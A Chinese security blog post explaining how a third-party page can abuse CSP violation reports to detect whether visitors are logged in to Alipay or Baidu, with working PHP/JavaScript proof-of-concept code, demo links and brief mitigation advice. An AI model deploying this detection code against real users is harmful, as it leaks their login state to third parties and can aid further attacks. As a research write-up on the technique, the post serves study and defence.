利用CSP探测网站登陆状态(alipay/baidu为例) – phith0n

0x00 背景


今天看到zone里有同学发帖说了探测支付宝登录状态的帖子:http://zone.wooyun.org/content/17665

由此我想到了我们parsec的@/fd 半年前提到的一个思路,当时他给出了一个探测twitter是否登录的页面,可是我那个时候才疏学浅,好像一直没理解。这时候返回去看看,就有了这篇文章。

0x01 CSP简介


内容安全策略(Content Security Policy,简称CSP)是一种以可信白名单作机制,来限制网站中是否可以包含某来源内容。默认配置下不允许执行内联代码 <script> 块内容,内联事件,内联样式 ,以及禁止执行eval() , newFunction() , setTimeout([string], …) 和setInterval([string], …) 。

CSP更详尽的介绍可以在drops看到:http://drops.wooyun.org/tips/1439

0x02 大环境介绍与原理


简单了解一下CSP,我们知道CSP可以限制网站中可否包含某来源的内容。同时,csp还可以在页面违反规则的时候发送一个数据包,将具体细节通知给服务端。

我们再来想想像支付宝这种集成度很高的网站服务,当我们在未登录的情况下访问alipay的某个子域名(如test.alipay.com),很可能是会302跳转到一个用户登陆专用的域名(如login.alipay.com)下要求用户登录。而在已登录的情况下是不会跳转的。

这就造成了一个登录/未登录的一个差别,主要差别如下:

  1. HTTP状态码(302和200)

  2. 最终访问的域名(test.alipay.com和login.alipay.com)

因为浏览器SOP(同源策略)的限制,正常情况下我们是无法获取到alipay域名下HTTP状态码的。

但结合CSP安全策略,我们却可以简单获得第2个,也就是最终访问域名。为什么?

我前面说了CSP是可以限制页面中允许加载哪些来源的内容的。所以,当我们将CSP设置为只接受来源为test.alipay.com的内容,那么当加载来源为login.alipay.com的请求时就会被CSP策略拒绝,并可以将这个访问report给服务端,我们通过report的内容就能判断用户访问的是test还是login。 过程如下:

enter image description here

这就是原理,很赞的一个思路,再次崇拜一次@/fd。

0x03 以支付宝为例编写探测代码


所以,根据上面的思路,我们第一步就是找到一个这样的页面:登录、未登录用户访问时到达的“域名”不相同。这里的“域名”包括protocol和hostname,也就是说http://test.alipay.com和https://test.alipay.com是不同的域名。

像支付宝这种网站有很多这样的页面,因为支付宝的很多服务是登录用户才能查看的,而登录入口又只有那么一个。

比如这个URL:https://my.alipay.com/portal/i.htm,当未登录用户访问的时候会跳转到https://auth.alipay.com/login/index.htm,已登录用户访问时不会跳转。

这时候我们将CSP的img-src限制为https://my.alipay.com,再将https://my.alipay.com/portal/i.htm作为img的src,这个时候就会出现一个有趣的现象:未登录的用户访问时,会触发CSP规则。

因为未登录的用户访问时实际img加载的src是https://auth.alipay.com/login/index.htm,不符合CSP限制的img-src,自然就触发规则了。 这时候我们在设置CSP的report-uri为report.php,不符合规则的请求会被记录下作为日志发送到report.php里:

enter image description here

不过浏览器在发送这个report包的时候是不带cookie的,所以服务器那边并不能直接判断是哪个用户发送的report包,所以我们在report的GET参数里带上用户的session id。

示例代码如下:

#!php
<?php
session_start();
$ssid = session_id();
header("Content-Security-Policy:img-src https://my.alipay.com; report-uri report.php?ssid={$ssid}");
?>
<html>
<head>
<meta charset="utf-8" />
<title>支付宝登陆检测</title>
</head>
<body onload="return check();">
<img src="https://my.alipay.com/portal/i.htm">
<b id="result"></b>
<script type="text/javascript">
function check()
{
with(new XMLHttpRequest) {
open('GET', 'alipay.php');
send();
onreadystatechange = function() {
if (readyState ^ 4) return;
result.innerHTML = parseInt(responseText) > 0 ? '未登录' : '已登录';
}
}
}
</script>
</body>

report.php用来记录:

#!php
<?php
session_start();
if (preg_match('/^[a-z0-9]*$/i', $_GET['ssid'])) {
session_id($_GET['ssid']);
}else{
exit;
}
$report = file_get_contents("php://input");
if (!empty($report)) {
$_SESSION['nologin'] = 1;
}else{
$_SESSION['nologin'] = 0;
}
?>

当接收到php://input的时候说明CSP发送报告了,说明请求违反的CSP规则了,也就意味着用户没有登录,所以将session中的nologin设置为1。 然后在index.php里用一个ajax来向alipay.php请求,实际上就是获得$_SESSION[nologin]的值:

#!php
<?php
session_start();
echo isset($_SESSION['nologin']) ? $_SESSION['nologin'] : 0;
setcookie('PHPSESSID', '', time() - 10);
session_destroy();
?>

如上,获取完后将session清除一下,以免影响下一次的判断。

获得值如果为1的话,说明没有登录,如果为0说明已登录,就可以显示出来或做任何其他操作了。

来个演示:http://mhz.pw/game/detect/alipay/

登录支付宝以后访问,显示“已登录”

enter image description here

换个浏览器,直接访问则显示“未登录”:

enter image description here

0x04 由http/https混用造成的问题(百度为例)


同样的问题,不仅仅是支付宝存在,只要有“统一登录入口”的网站都可能出现这个问题,因为统一登录入口通常是一个单独的域名。

还有一种情况,是http和https混用造成的。有些网站的登录页面是https加密传输的,但登陆以后实际的操作页面是走http。

这之间一样存在一个跳转的问题,当我们访问一个登陆后才能看到的页面如http://xxx.com/index,未登录的用户就会跳转到登录页面,如https://xxx.com/login。

在CSP里http和https是完全不同的两个来源,所以也能触发CSP规则。

比如https://passport.baidu.com,这是百度的安全中心。当已登录用户访问的时候会跳转到“安全中心”首页http://passport.baidu.com/center(注意,此处是http):

enter image description here

而未登录用户访问则会跳转到https://passport.baidu.com/v2/?login(这时候是https):

enter image description here

虽然两个域名都是passport.baidu.com,但因为protocol不同,混用的http和https就能够影响CSP的拦截情况。

我们将CSP设置为img-src https://passport.baidu.com ,那么img的src就只接受来源为https://passport.baidu.com的img,那么已登录用户访问的http://passport.baidu.com/center就会被阻止,产生一个CSP报告。记录下这个报告,一样能判断访客是否已登录百度。

测试你是否登录百度:http://mhz.pw/game/detect/baidu/

0x05 影响及防范方法


严格来论,只是判断用户是否登录,这个问题并不算一个漏洞。当时@/fd将问题提交到推特之后推特的回应也是不算漏洞,但确实如果与其他一些漏洞结合使用,会让某些漏洞的成功率提高一大截。所以我们可以将之归为一个“奇技淫巧”。

这个问题更容易出现在一些大型网站、企业网络之中,往往这些网站的统一性和重用性都做的很好,所以往往登录入口只有一个(现在流行一个user center的概念),所以难免会出现一些跳转的问题。有这些跳转,就是探测用户登录的基础。

这个方法还有一个限制,就是用户使用的浏览器需要是现代浏览器,需要支持CSP安全策略。如果你要探测的用户还在用IE6~IE10,那么是肯定不行的。 如何解决这个问题?如果你真的觉得这是个安全问题的话,那么尽量避免跳转,或者使用javascript进行页面的跳转。

原文链接:http://drops.wooyun.org/tips/4482

评论已关闭。